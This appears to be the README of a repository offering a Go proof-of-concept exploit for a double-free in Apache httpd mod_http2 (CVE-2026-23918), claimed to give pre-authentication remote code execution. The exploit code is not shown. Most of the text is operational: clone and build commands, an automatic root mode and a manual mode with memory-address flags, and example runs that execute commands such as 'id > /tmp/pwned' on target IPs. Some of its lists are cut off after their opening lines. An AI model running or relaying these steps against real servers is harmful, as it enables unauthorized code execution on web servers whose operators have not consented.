gagaltotal/cve-2026-23918-double-free-apache-httpd-mod_http2Go-based proof-of-concept exploit for CVE-2026-23918 targeting a double-free vulnerability in Apache httpd mod_http2, enabling pre-auth remote code execution via memory spray and trigger sequences.
This repository contains a proof-of-concept implementation written in Go for a pre-authentication memory corruption scenario affecting Apache httpd with mod_http2. The code in this repository demonstrates a spray-and-trigger approach against a vulnerable target and is intended for authorized security research, testing, and defensive analysis.
The project focuses on a proof-of-concept exploit for CVE-2026-23918 and provides a single-file implementation in exploit_poc.go. The program:
This repository is not intended for unauthorized use against third-party systems.
Before building or running the PoC, ensure that the following are available:
Build the binary with the following command:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
This generates an executable named exploit in the project root.
The PoC supports two operational modes:
This mode requires root access and automatically extracts the required memory addresses from the target Apache worker process.
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
This mode requires the addresses of the system function and the scoreboard request slot to be provided manually.
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
The main options are:
--host - Target hostname or IP address--port - Target port (default: 443)--workers - Number of spray worker threads (default: 32)--cmd - Command to execute on the target--pid - Apache worker process ID for automatic memory address extraction--system - Address of the system symbol in manual mode--scoreboard - Address of the scoreboard request slot in manual modesudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
This repository is provided for educational purposes and defensive security evaluation. Any use outside of a controlled and authorized environment is discouraged and may violate applicable laws or policies.